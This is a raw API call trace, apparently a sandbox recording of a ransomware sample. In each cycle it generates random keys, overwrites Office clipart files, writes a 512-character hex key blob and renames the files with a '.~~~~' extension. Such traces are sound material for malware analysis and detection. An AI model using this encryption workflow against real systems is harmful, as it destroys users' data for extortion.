	[0101.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0101.277] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22126759711) returned 1
	[0101.278] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa60ca2b0, dwHighDateTime=0x1d60e1e)) 
	[0101.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0101.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0101.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0101.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28631a0
	[0101.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0101.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28631a0 | out: hHeap=0x300000) returned 1
	[0101.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0101.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0101.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x295e9b8
	[0101.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0101.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865b08
	[0101.278] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x295e9b8 | out: hHeap=0x300000) returned 1
	[0101.278] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0101.278] GetLastError () returned 0x0
	[0101.279] GetLastError () returned 0x0
	[0101.279] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0101.279] GetLastError () returned 0x0
	[0101.279] GetLastError () returned 0x0
	[0101.385] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffbf19, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.385] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x40e7, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x40e7, lpOverlapped=0x0) returned 1
	[0101.387] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0101.387] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0101.387] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0101.387] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0101.387] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0101.387] CloseHandle (hObject=0xc4) returned 1
	[0101.387] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0101.387] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.~~~~")) returned 1
	[0101.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0101.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0101.388] GetLastError () returned 0x0
	[0101.389] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0101.390] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0101.390] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0101.390] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0101.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0101.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0101.390] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22138168725) returned 1
	[0101.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa61d4c50, dwHighDateTime=0x1d60e1e)) 
	[0101.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0101.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0101.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0101.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863248
	[0101.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0101.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863248 | out: hHeap=0x300000) returned 1
	[0101.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0101.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0101.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0101.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0101.392] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865c38
	[0101.392] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0101.392] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0101.392] GetLastError () returned 0x0
	[0101.393] GetLastError () returned 0x0
	[0101.393] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0101.394] GetLastError () returned 0x0
	[0101.394] GetLastError () returned 0x0
	[0101.396] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffe172, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0101.396] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x1e8e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x1e8e, lpOverlapped=0x0) returned 1
	[0101.397] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0101.398] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0101.398] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0101.398] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0101.398] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0101.398] CloseHandle (hObject=0xc4) returned 1
	[0101.398] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0101.398] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182902.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182902.wmf.~~~~")) returned 1
	[0101.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0101.399] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0101.400] GetLastError () returned 0x0
	[0101.400] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0101.401] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0101.401] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0101.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0101.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0101.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0101.401] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22139118527) returned 1
	[0101.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa61fadb0, dwHighDateTime=0x1d60e1e)) 
	[0101.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0101.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0101.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0101.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863280
	[0101.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0101.401] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863280 | out: hHeap=0x300000) returned 1
	[0101.401] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0101.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0101.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0101.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0101.402] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2865e00
	[0101.402] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0101.402] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0101.402] GetLastError () returned 0x0
	[0101.402] GetLastError () returned 0x0
	[0101.402] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0101.402] GetLastError () returned 0x0
	[0101.402] GetLastError () returned 0x0
	[0102.618] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffc12e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.618] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x3ed2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x3ed2, lpOverlapped=0x0) returned 1
	[0102.619] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0102.619] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.620] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.620] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.620] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.620] CloseHandle (hObject=0xc4) returned 1
	[0102.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182946.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182946.wmf.~~~~")) returned 1
	[0102.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0102.622] GetLastError () returned 0x0
	[0102.622] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0102.624] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.624] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0102.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0102.624] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22261427607) returned 1
	[0102.624] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa6d958f0, dwHighDateTime=0x1d60e1e)) 
	[0102.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0102.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0102.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0102.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a2a68
	[0102.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a2a68 | out: hHeap=0x300000) returned 1
	[0102.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fe98
	[0102.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.625] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0102.625] GetLastError () returned 0x0
	[0102.626] GetLastError () returned 0x0
	[0102.626] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0102.626] GetLastError () returned 0x0
	[0102.626] GetLastError () returned 0x0
	[0102.699] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff9628, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.699] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x69d8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x69d8, lpOverlapped=0x0) returned 1
	[0102.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0102.701] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.701] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.701] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.701] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.701] CloseHandle (hObject=0xc4) returned 1
	[0102.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.702] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185776.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185776.wmf.~~~~")) returned 1
	[0102.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0102.703] GetLastError () returned 0x0
	[0102.704] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0102.706] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.706] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0102.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0102.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0102.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0102.706] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22269596883) returned 1
	[0102.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa6e7a130, dwHighDateTime=0x1d60e1e)) 
	[0102.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0102.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0102.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0102.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863440
	[0102.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0102.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863440 | out: hHeap=0x300000) returned 1
	[0102.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0102.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0102.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0102.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0102.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866348
	[0102.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.707] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0102.707] GetLastError () returned 0x0
	[0102.707] GetLastError () returned 0x0
	[0102.707] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0102.707] GetLastError () returned 0x0
	[0102.708] GetLastError () returned 0x0
	[0102.932] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffff665e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0102.932] WriteFile (in: hFile=0xc4, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x99a2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x99a2, lpOverlapped=0x0) returned 1
	[0102.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0102.933] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0102.933] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0102.934] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0102.934] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0102.934] CloseHandle (hObject=0xc4) returned 1
	[0102.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0102.934] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185786.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185786.wmf.~~~~")) returned 1
	[0102.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0102.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0102.935] GetLastError () returned 0x0
	[0102.936] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0102.937] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0102.937] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
